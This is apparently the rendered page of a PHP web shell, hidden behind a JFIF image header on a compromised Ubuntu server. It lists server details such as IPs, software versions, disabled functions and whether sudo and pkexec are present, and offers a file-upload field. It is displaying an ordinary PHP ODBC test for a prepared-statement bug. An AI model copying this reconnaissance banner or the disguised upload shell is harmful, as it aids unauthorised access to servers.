????JFIF??x?x????'
Server IP : 79.136.114.73 / Your IP : 18.116.87.126 Web Server : Apache/2.4.7 (Ubuntu) PHP/5.5.9-1ubuntu4.29 OpenSSL/1.0.1f System : Linux b8009 3.13.0-170-generic #220-Ubuntu SMP Thu May 9 12:40:49 UTC 2019 x86_64 User : www-data ( 33) PHP Version : 5.5.9-1ubuntu4.29 Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority, MySQL : ON | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : ON Directory : /proc/self/root/home/b8009/php-5.6.22/ext/odbc/tests/ |
Upload File : |
--TEST-- Bug #47803 Executing prepared statements is succesfull only for the first two statements --SKIPIF-- <?php include 'skipif.inc'; ?> --FILE-- <?php include dirname(__FILE__) . "/config.inc"; $create_table = "CREATE TABLE FOO( [PAR_ID] [int] NOT NULL, [PAR_INT] [int] NULL, [PAR_CHR] [varchar](500) NULL )"; $inserts = "INSERT INTO FOO ([PAR_ID] ,[PAR_INT] ,[PAR_CHR]) VALUES (1,14,''), (2,30,''), (3,7,''), (4,7,''), (5,0,''), (6,0,''), (7,20130901,''), (8,20140201,''), (9,20140201,''), (10,20140620,''), (11,221,'')"; date_default_timezone_set('Europe/Warsaw'); $link = odbc_connect($dsn, $user, $pass); odbc_exec($link, 'CREATE DATABASE odbcTEST'); odbc_exec($link, $create_table); odbc_exec($link, $inserts); $upd_params = array( array('id'=>1, 'name'=>'test 1'), array('id'=>2, 'name'=>'test 2'), array('id'=>3, 'name'=>'test 3'), array('id'=>4, 'name'=>'test 4'), array('id'=>5, 'name'=>'test 5'), array('id'=>10, 'name'=>'test 10'), array('id'=>9, 'name'=>'test 9'), array('id'=>8, 'name'=>'test 8'), array('id'=>7, 'name'=>'test 7'), array('id'=>6, 'name'=>'test 6'), ); $sql = "UPDATE FOO SET [PAR_CHR] = ? WHERE [PAR_ID] = ?"; $result = odbc_prepare($link, $sql); if (!$result) { print ('[sql] prep: '.$sql); goto out; } foreach ($upd_params as &$k) { if(!odbc_execute($result, array($k['name'], $k['id']))) { print ('[sql] exec: '."array({$k['name']}, {$k['id']})"); goto out; } } odbc_free_result($result); $sql = "SELECT * FROM FOO WHERE [PAR_ID] = ?"; $result = odbc_prepare($link, $sql); if (!$result) { print ('[sql] prep: '.$sql); goto out; } foreach ($upd_params as $k) { if(!odbc_execute($result, array($k['id']))) { print ('[sql] exec: '."array({$k['id']})"); goto out; } while (($r = odbc_fetch_array($result)) !== false) { var_dump($r); } } out: if ($result) odbc_free_result($result); odbc_close($link); ?> ==DONE== --EXPECT-- array(3) { ["PAR_ID"]=> string(1) "1" ["PAR_INT"]=> string(2) "14" ["PAR_CHR"]=> string(6) "test 1" } array(3) { ["PAR_ID"]=> string(1) "2" ["PAR_INT"]=> string(2) "30" ["PAR_CHR"]=> string(6) "test 2" } array(3) { ["PAR_ID"]=> string(1) "3" ["PAR_INT"]=> string(1) "7" ["PAR_CHR"]=> string(6) "test 3" } array(3) { ["PAR_ID"]=> string(1) "4" ["PAR_INT"]=> string(1) "7" ["PAR_CHR"]=> string(6) "test 4" } array(3) { ["PAR_ID"]=> string(1) "5" ["PAR_INT"]=> string(1) "0" ["PAR_CHR"]=> string(6) "test 5" } array(3) { ["PAR_ID"]=> string(2) "10" ["PAR_INT"]=> string(8) "20140620" ["PAR_CHR"]=> string(7) "test 10" } array(3) { ["PAR_ID"]=> string(1) "9" ["PAR_INT"]=> string(8) "20140201" ["PAR_CHR"]=> string(6) "test 9" } array(3) { ["PAR_ID"]=> string(1) "8" ["PAR_INT"]=> string(8) "20140201" ["PAR_CHR"]=> string(6) "test 8" } array(3) { ["PAR_ID"]=> string(1) "7" ["PAR_INT"]=> string(8) "20130901" ["PAR_CHR"]=> string(6) "test 7" } array(3) { ["PAR_ID"]=> string(1) "7" ["PAR_INT"]=> string(8) "20130901" ["PAR_CHR"]=> string(6) "test 7" } ==DONE== --CLEAN-- <?php include 'config.inc'; $conn = odbc_connect($dsn, $user, $pass); odbc_exec($conn, 'DROP TABLE FOO'); odbc_exec($conn, 'DROP DATABASE odbcTEST'); odbc_close($conn); ?>